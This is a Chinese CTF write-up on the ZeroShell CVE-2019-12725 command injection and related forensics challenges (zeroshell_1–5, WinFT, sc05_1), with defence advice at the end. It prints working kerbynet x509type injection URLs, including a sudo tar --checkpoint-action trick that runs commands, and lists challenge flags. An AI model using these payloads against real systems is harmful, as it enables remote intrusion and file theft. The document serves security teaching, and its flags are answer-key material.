第十八届信息安全大赛 && 第二届长城杯 - zeroshell1~5,WinFT_1~2,sc05_1
字数 1387 2025-08-22 12:22:30

ZeroShell 安全漏洞分析与利用教学文档

1. ZeroShell 漏洞概述

ZeroShell 防火墙存在远程命令执行漏洞 (CVE-2019-12725),攻击者可以通过构造特殊请求在目标系统上执行任意命令。

2. 漏洞利用方法

2.1 基本命令执行

漏洞利用点位于 /cgi-bin/kerbynet 接口,通过 x509type 参数注入命令:

http://[目标IP]/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='[注入命令]'

命令注入格式:

%27%0A[命令]%0A%27

(其中 %27 是单引号 ' 的URL编码,%0A 是换行符的URL编码)

2.2 实际利用示例

示例1:查找flag文件

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Afind%20/%20-name%20%22flag%22%0A%27

示例2:读取flag文件内容

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Acat%20/DB/_DB.001/flag%0A%27

3. 进阶利用技巧

3.1 网络信息收集

使用 netstat 命令查看网络连接:

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Anetstat%20-n%20-p%0A%27

3.2 进程信息收集

利用 tar 命令的 --checkpoint-action 参数执行命令:

/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ps%20-ef'%0A'

3.3 进程文件分析

查找特定进程的可执行文件:

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27ls%20-al%20/proc/10449/exe%27%0A%27

3.4 文件下载

读取文件内容:

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27cat%20/tmp/.nginx%27%0A%27

4. 相关CTF题目解析

4.1 zeroshell_1

  • 通过分析数据包流量发现exec命令执行
  • 追踪流并Base64解码获取flag

4.2 zeroshell_2

  • 利用CVE-2019-12725漏洞
  • 使用find命令查找flag文件
  • 最终flag路径:/DB/_DB.001/flag

4.3 zeroshell_3

  • 使用netstat -n -p查找外联地址
  • 发现flag格式为IP地址:flag{202.115.89.103}

4.4 zeroshell_4

  • 通过Wireshark过滤:http.request.uri matches "/cgi-bin/kerbynet"
  • 分析攻击者payload
  • 发现隐藏进程文件:/tmp/.nginx
  • flag格式:flag{.nginx}

4.5 zeroshell_5

  • 下载/tmp/.nginx文件
  • 使用xxd转换文件内容
  • 搜索之前发现的IP地址202.115.89.103
  • 最终flag:flag{223344qweasdzxcF}

4.6 WinFT_1

  • 使用netstat -n查找外联地址
  • 发现IP和端口:192.168.116.130:443
  • 检查hosts文件发现域名关联
  • flag格式:flag{miscsecure.com:192.168.116.130:443}

4.7 WinFT_2

  • 直接给出的flag:flag{AES_encryption_algorithm_is_an_excellent_encryption_algorithm}

4.8 sc05_1

  • 查找firewall.xlsx文件
  • 搜索IP地址134.6.4.12
  • 注意检查所有工作表进行对比

5. 防御建议

  1. 及时更新ZeroShell到已修复漏洞的版本
  2. 对输入参数进行严格过滤和验证
  3. 限制网络访问权限,只允许可信IP访问管理接口
  4. 监控系统日志,检测异常命令执行行为
  5. 使用Web应用防火墙(WAF)防护此类注入攻击

6. 总结

ZeroShell的CVE-2019-12725漏洞通过命令注入实现远程代码执行,危害严重。攻击者可以利用此漏洞进行信息收集、文件读取、反向连接等操作。防御此类漏洞需要多层次的防护措施,包括补丁更新、输入验证和持续监控。

ZeroShell 安全漏洞分析与利用教学文档 1. ZeroShell 漏洞概述 ZeroShell 防火墙存在远程命令执行漏洞 (CVE-2019-12725),攻击者可以通过构造特殊请求在目标系统上执行任意命令。 2. 漏洞利用方法 2.1 基本命令执行 漏洞利用点位于 /cgi-bin/kerbynet 接口,通过 x509type 参数注入命令: 命令注入格式: (其中 %27 是单引号 ' 的URL编码,%0A 是换行符的URL编码) 2.2 实际利用示例 示例1:查找flag文件 示例2:读取flag文件内容 3. 进阶利用技巧 3.1 网络信息收集 使用 netstat 命令查看网络连接: 3.2 进程信息收集 利用 tar 命令的 --checkpoint-action 参数执行命令: 3.3 进程文件分析 查找特定进程的可执行文件: 3.4 文件下载 读取文件内容: 4. 相关CTF题目解析 4.1 zeroshell_ 1 通过分析数据包流量发现exec命令执行 追踪流并Base64解码获取flag 4.2 zeroshell_ 2 利用CVE-2019-12725漏洞 使用find命令查找flag文件 最终flag路径: /DB/_DB.001/flag 4.3 zeroshell_ 3 使用 netstat -n -p 查找外联地址 发现flag格式为IP地址: flag{202.115.89.103} 4.4 zeroshell_ 4 通过Wireshark过滤: http.request.uri matches "/cgi-bin/kerbynet" 分析攻击者payload 发现隐藏进程文件: /tmp/.nginx flag格式: flag{.nginx} 4.5 zeroshell_ 5 下载 /tmp/.nginx 文件 使用 xxd 转换文件内容 搜索之前发现的IP地址 202.115.89.103 最终flag: flag{223344qweasdzxcF} 4.6 WinFT_ 1 使用 netstat -n 查找外联地址 发现IP和端口: 192.168.116.130:443 检查hosts文件发现域名关联 flag格式: flag{miscsecure.com:192.168.116.130:443} 4.7 WinFT_ 2 直接给出的flag: flag{AES_encryption_algorithm_is_an_excellent_encryption_algorithm} 4.8 sc05_ 1 查找 firewall.xlsx 文件 搜索IP地址 134.6.4.12 注意检查所有工作表进行对比 5. 防御建议 及时更新ZeroShell到已修复漏洞的版本 对输入参数进行严格过滤和验证 限制网络访问权限,只允许可信IP访问管理接口 监控系统日志,检测异常命令执行行为 使用Web应用防火墙(WAF)防护此类注入攻击 6. 总结 ZeroShell的CVE-2019-12725漏洞通过命令注入实现远程代码执行,危害严重。攻击者可以利用此漏洞进行信息收集、文件读取、反向连接等操作。防御此类漏洞需要多层次的防护措施,包括补丁更新、输入验证和持续监控。